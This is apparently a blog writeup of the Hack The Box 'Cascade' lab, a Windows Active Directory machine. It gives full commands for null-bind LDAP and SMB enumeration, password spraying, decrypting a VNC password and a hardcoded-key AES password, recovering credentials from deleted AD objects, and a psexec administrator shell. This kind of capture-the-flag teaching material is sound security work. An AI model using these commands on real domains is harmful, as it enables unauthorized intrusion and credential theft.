Post

HTB Cascade CTF Writeup

Medium-rated Windows Active Directory box. LDAP null-bind enumeration uncovers a VNC password stored in a user attribute. A .NET assembly is reverse-engineered with ILSpy to recover an AES decryption key, and a deleted AD Recycle Bin account's password grants administrator access.

HTB Cascade CTF Writeup

HTB Cascade CTF

Summary

Cascade is a Medium-difficulty Windows Active Directory machine focusing on LDAP enumeration and AD Recycle Bin abuse. Initial SMB and LDAP null authentication allows domain enumeration via BloodHound. A complete LDAP dump reveals a non-default cascadeLegacyPwd attribute for user r.thompson containing the base64-encoded password rY4n5eva. Authenticated SMB enumeration as r.thompson exposes a VNC registry file with an encrypted password for s.smith. The VNC password is decrypted using DES-CBC with a known key, yielding sT333ve2. As s.smith, access to the Audit$ share reveals CascAudit.exe, CascCrypto.dll, and an SQLite database containing encrypted credentials for arksvc. Reverse engineering the .NET binaries with ILSpy exposes hardcoded AES encryption keys and IV. Python is used to decrypt the password w3lc0meFr31nd for arksvc. As a member of the “AD Recycle Bin” group, arksvc can enumerate deleted AD objects via WinRM, revealing a deleted TempAdmin user with the cascadeLegacyPwd attribute set to baCT3r1aN00dles. This password is reused by the Administrator account, providing full domain compromise.

Service Enumeration

I ran:

1
nmap -A -oN scans/nmap.all -p- --min-rate 2500 -Pn -vv 10.129.42.19

With the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-12-20 16:29:49Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc         syn-ack Microsoft Windows RPC
49155/tcp open  msrpc         syn-ack Microsoft Windows RPC
49157/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         syn-ack Microsoft Windows RPC
49165/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50870/tcp): CLEAN (Timeout)
|   Check 2 (port 13935/tcp): CLEAN (Timeout)
|   Check 3 (port 22824/udp): CLEAN (Timeout)
|   Check 4 (port 64531/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-12-20T16:30:42
|_  start_date: 2025-12-20T15:47:39
|_clock-skew: 3s
| smb2-security-mode: 
|   210: 
|_    Message signing enabled and required

DNS Enumeration

I try a reverse DNS search with dig to see what domain points to 10.129.42.19:

1
dig -x 10.129.42.19 @10.129.42.19

But get no results. The nmap scan tells me the domain name is cascade.local, so I poke around with it. I try many things, including zone transfer:

1
2
3
4
5
$ dig axfr cascade.local @10.129.42.19

; <<>> DiG 9.18.41-1~deb12u1-Debian <<>> axfr cascade.local @10.129.42.19
;; global options: +cmd
; Transfer failed.

But it seems like there’s not much here.

SMB Enumeration

I try authenticating to the SMB server using null authentication (blank username, blank password):

1
nxc smb 10.129.42.19 -u '' -p ''

In the output, I see it contains a plus sign (+) indicating the authentication was successful:

1
[+] cascade.local\:

I take advantage of this by enumerating users:

1
nxc smb 10.129.42.19 -u '' -p '' --users

It works. It returns me a total of 15 users:

image.webp

Just to make sure, I also perform a RID bruteforce with a high value to see if I can find more users:

1
nxc smb 10.129.42.19 -u '' -p '' --rid-brute 5000

Ultimately, this is how my users.txt file looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
administrator
CascGuest
krbtgt
CASC-DC1$
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

Unfortunately I can’t access shares with this low-level null authentication, so I pivot to try and obtain valid credentials.

Kerberos Enumeration

With this file full of valid usernames to the domain, I perform some kerberos enumeration. First, I try using the username as the password and see if there’s any low hanging fruit:

1
kerbrute passwordspray --user-as-pass --dc 10.129.42.19 -d cascade.local users.txt

Unfortunately, I get 0 hits. I try ASRepRoasting:

1
GetNPUsers.py -no-pass -usersfile users.txt cascade.local/

But no hits as well. There’s nothing here for now.

LDAP Enumeration

I notice how the LDAP server also accepts null authentication (which is specially odd to me):

1
nxc ldap 10.129.42.19 -u '' -p ''

Even though it’s a low-level access, I can try performing a kerberoast attack:

1
nxc ldap 10.129.42.19 -u '' -p '' --kerberoast k.log

I’ve seen cases where the admin put juicy data in the user’s description field. With that in mind, I enumerate for user descriptions:

1
nxc ldap 10.129.42.19 -u '' -p ''  -M get-desc-users

But the only description I get is for the default CascGuest user.

I can use rusthound-ce to start enumerating the domain:

1
rusthound-ce -d cascade.local -z -u '' -p ''

It eventually saves the output to a zip archive in my current directory. I ingest this data into BloodhoundCE and start analyzing it.

AD Enumeration

One of the first things I like doing to begin the analysis with Bloodhound is to check which users can log in to the machine via WinRM (members from the Remote Management Users):

image.webp

I see that this group has two members:

So now I have those two potential targets. I enumerate these, but they have no inbound object control (at least none that I know of, keeping in mind this scan was made using null authentication and it’s likely I don’t have permission to read some things in the domain). I notice how “arksvc” has membership in a group called “AD Recycle Bin”

image.webp

Which is very interesting. This makes me think this user perhaps has access to deleted objects in the AD. I also see how s.smith is member of the “audit share” group:

image.webp

So as s.smith, I should take a closer look at the SMB server. That’s about it from the initial bloodhound analysis, I couldn’t find anything else that’s useful.

Getting Desperate

I enumerated every single service, SMB, kerberos attacks, ldap access, AD enumeration, and ultimately I was stuck. I had no valid domain credentials.

I tried using the smb null authentication to coerce, and potentially obtain some hashes:

1
nxc smb 10.129.42.19 -u '' -p '' -M coerce_plus -o L=10.10.14.57

With responder set up on my machine:

1
python3 Responder.py -I tun0

But it never worked, I couldn’t coerce authentication with this level of access. I could try creating a custom wordlist with words I know from this environment, and potentially a hashcat rule as well to broaden the wordlist, but no… There’s nothing at all that indicates that’s the next move I’m supposed to do, I feel like this would be too much guessing.

There’s something in the back of my mind, telling me to dump the entire ldap database. Since I already enumerated possibly everything, this is one of the things I’d try last as well. I can potentially find a hidden user or even a user with non-default attributes that bloodhound enumeration misses.

Dump the entire LDAP domain:

1
ldapsearch -x -H ldap://10.129.42.19 -D '' -w '' -b "dc=cascade,dc=local" | tee scans/ldapsearch.log

It’s a massive output. I narrow down the search by filtering for users that actually logged in to the system in the past:

1
ldapsearch -x -b 'dc=cascade,dc=local' -H ldap://10.129.42.19 "(logonCount>=1)"

I look at the results, and find that the user “r.thompson” has a non-default attribute named cascadeLegacyPwd:

image.webp

More specifically:

1
cascadeLegacyPwd: clk0bjVldmE=

It seems like this is base64-encoded. I decode it:

1
echo clk0bjVldmE= | base64 -d

And now I have the cleartext password for “r.thompson”. New credentials:

1
2
Username: r.thompson
Password: rY4n5eva

I save this password to “passwords.txt” and perform a password spray against the domain, just to make sure no one else uses this same password:

1
kerbrute passwordspray --dc 10.129.42.19 -d cascade.local users.txt rY4n5eva

But the only hit is for “r.thompson”.

image.webp

Horizontal Privilege Escalation - s.smith

I use the credentials for “r.thompson” to enumerate the SMB server for shares:

1
nxc smb 10.129.42.19 -u r.thompson -p 'rY4n5eva' --shares

I see that r.thompson has access to the Data share. I mount this share locally:

1
sudo mount -o username=r.thompson,password=rY4n5eva //10.129.42.19/Data mount/

I search for files in the share:

1
sudo find mount/ -type f 2>/dev/null

It returns me the following files:

1
2
3
4
mount/IT/Email Archives/Meeting_Notes_June_2018.html
mount/IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
mount/IT/Logs/DCs/dcdiag.log
mount/IT/Temp/s.smith/VNC Install.reg

I read through all the files, but the one that’s more interesting is: mount/IT/Temp/s.smith/VNC Install.reg. This file contains the following line:

1
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

Which, since it’s in s.smith folder, I can assume this is the password for s.smith. It’s in hex format though:

1
6bcf2a4b6e5aca0f

I try decoding it but only get a binary blob:

image.webp

Which means this password is in a format I can’t yet understand, likely encrypted. I run the following to decrypt the VNC password (Reference):

1
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -provider legacy -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

image.webp

This yields the cleartext password for s.smith:

1
2
Username: s.smith
Password: sT333ve2

I do the same password spray technique I did before with this newly discovered password:

1
kerbrute passwordspray --dc 10.129.42.19 -d cascade.local users.txt sT333ve2

But s.smith is the only valid login:

1
2025/12/21 14:59:55 >  [+] VALID LOGIN:  [email protected]:sT333ve2

Horizontal Privilege Escalation - arksvc

I enumerate the SMB server for shares now with the credentials for s.smith:

1
nxc smb 10.129.42.19 -u 's.smith' -p 'sT333ve2' --shares

And I see how s.smith has access to the “Audit$” share. I umount the previous share I had mounted:

1
sudo umount mount/

And mount the audit share:

1
sudo mount -o username=s.smith,password=sT333ve2 '//10.129.42.19/Audit$' mount/

Locate for files in the share:

1
udo find mount/ -type f 2>/dev/null

It returns the following results:

1
2
3
4
5
6
7
8
mount/CascAudit.exe
mount/CascCrypto.dll
mount/DB/Audit.db
mount/RunAudit.bat
mount/System.Data.SQLite.dll
mount/System.Data.SQLite.EF6.dll
mount/x64/SQLite.Interop.dll
mount/x86/SQLite.Interop.dll

The more interesting ones just from looking at it (those appear to be made on demand for this machine, the other ones appear to be default libraries for interacting with sqlite):

1
2
3
mount/CascAudit.exe
mount/CascCrypto.dll
mount/DB/Audit.db

I extract all the files from the share to my machine:

1
2
mkdir -p loot/audit
sudo find mount/ -type f -exec cp {} loot/audit/ \; 2>/dev/null

I connect to the Audit.db database:

1
sqlite3 Audit.db

And dump everything in it:

1
sqlite> .dump

As you can see from the screenshot below, there’s the credentials for user “arksvc”:

image.webp

More specifically:

1
INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');

And the password seems to be base64-encoded (BQO5l5Kj9MdErXx6Q6AGOw==). I decode it:

1
echo BQO5l5Kj9MdErXx6Q6AGOw== | base64 -d

But it’s a binary blob

image.webp

I need to understand how this password is saved. I use ILSpy to decompile the EXE executable:

1
~/hacking/tools/ILSpy/ICSharpCode.ILSpyCmd/bin/Debug/net10.0/ilspycmd /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascAudit.exe > /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascAudit.exe.cs

And decompile the DLL as well:

1
~/hacking/tools/ILSpy/ICSharpCode.ILSpyCmd/bin/Debug/net10.0/ilspycmd /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascCrypto.dll > /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascCrypto.dll.cs

It saves the source code to both the EXE and the DLL to:

1
2
/home/user/hacking/htb/machines/medium/cascade/loot/audit/CascAudit.exe.cs
/home/user/hacking/htb/machines/medium/cascade/loot/audit/CascCrypto.dll.cs

I start by looking at the source code for the EXE. I find this specific code block where it has the decryption key hardcoded:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
try
{
	sQLiteConnection.Open();
	SQLiteCommand sQLiteCommand = new SQLiteCommand("SELECT * FROM LDAP", sQLiteConnection);
	try
	{
		SQLiteDataReader sQLiteDataReader = sQLiteCommand.ExecuteReader();
		try
		{
			sQLiteDataReader.Read();
			text = Conversions.ToString(sQLiteDataReader["Uname"]);
			text2 = Conversions.ToString(sQLiteDataReader["Domain"]);
			string encryptedString = Conversions.ToString(sQLiteDataReader["Pwd"]);
			try
			{
				password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
			}
			catch (Exception ex)
			{
				ProjectData.SetProjectError(ex);
				Exception ex2 = ex;
				Console.WriteLine("Error decrypting password: " + ex2.Message);
				ProjectData.ClearProjectError();
				return;
			}
		}
		finally
		{
			IDisposable disposable = sQLiteDataReader as IDisposable;
			if (disposable != null)
			{
				disposable.Dispose();
			}
		}
	}
	finally
	{
		((IDisposable)(object)sQLiteCommand)?.Dispose();
	}
	sQLiteConnection.Close();
}

This line, more specifically:

1
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");

If I look at the decompiled code for the DLL, I see how the decryption function looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static string DecryptString(string EncryptedString, string Key)
		{
			byte[] array = Convert.FromBase64String(EncryptedString);
			Aes aes = Aes.Create();
			aes.KeySize = 128;
			aes.BlockSize = 128;
			aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
			aes.Mode = CipherMode.CBC;
			aes.Key = Encoding.UTF8.GetBytes(Key);
			using MemoryStream stream = new MemoryStream(array);
			using CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read);
			byte[] array2 = new byte[checked(array.Length - 1 + 1)];
			cryptoStream.Read(array2, 0, array2.Length);
			return Encoding.UTF8.GetString(array2);
		}

It’s simply using AES with a hardcoded IV (1tdyjCbY1Ix49842). I can replicate this behavior using python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES

class AESCipher(object):

    def __init__(self, key):
        self.bs = 128
        self.key = key.encode()

    def encrypt(self, raw):
        raw = self._pad(raw)
        iv = b'1tdyjCbY1Ix49842'
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw.encode()))

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = b'1tdyjCbY1Ix49842'
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return AESCipher._unpad(cipher.decrypt(enc)).decode('utf-8')

    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)

    @staticmethod
    def _unpad(s):
        return s[:-ord(s[len(s)-1:])]


loader = AESCipher('c4scadek3y654321')

print(loader.decrypt('BQO5l5Kj9MdErXx6Q6AGOw=='))

I save the above script as “decrypt.py”. I run it, and it spits out the cleartext password for arksvc:

1
2
3
$ python3 decrypt.py 

w3lc0meFr31nd

With that, new credentials:

1
2
Username: arksvc
Password: w3lc0meFr31nd

Once again I spray this password to make sure:

1
kerbrute passwordspray --dc 10.129.42.19 -d cascade.local users.txt w3lc0meFr31nd

But the only valid login is for arksvc:

1
2025/12/21 15:14:04 >  [+] VALID LOGIN:  [email protected]:w3lc0meFr31nd

Vertical Privilege Escalation: AD Deleted Objects

I log in to the machine using the credentials for arksvc:

1
evil-winrm -i 10.129.42.19 -u arksvc -p w3lc0meFr31nd

I already know that arksvc is member of the “AD Recycle Bin” group, which makes me go straight into enumerating AD deleted objects.

I import the ActiveDirectory module:

1
Import-Module ActiveDirectory

And search for deleted objects:

1
Get-ADObject -Filter 'IsDeleted -eq $true' -IncludeDeletedObjects -Properties *

It returns me a whole bunch of results. Among the results, I find one particularly interesting:

image.webp

More specifically, the user with DN:

1
CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local

Named “TempAdmin”. This user also contains a cascadeLegacyPwd attribute:

1
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz

I base64-decode this password:

1
echo YmFDVDNyMWFOMDBkbGVz | base64 -d | xc

Then I use this password to spray the domain with all the users:

1
nxc smb 10.129.42.19 -u users.txt -p 'baCT3r1aN00dles'

The very first result is a match for the Administrator user!

image.webp

With that, new credentials:

1
2
Username: administrator
Password: baCT3r1aN00dles

I log in to the machine using psexec:

1
psexec.py administrator:[email protected]

It works, and now I have a shell with administrative rights on the machine!

image.webp

This post is licensed under CC BY 4.0 by the author.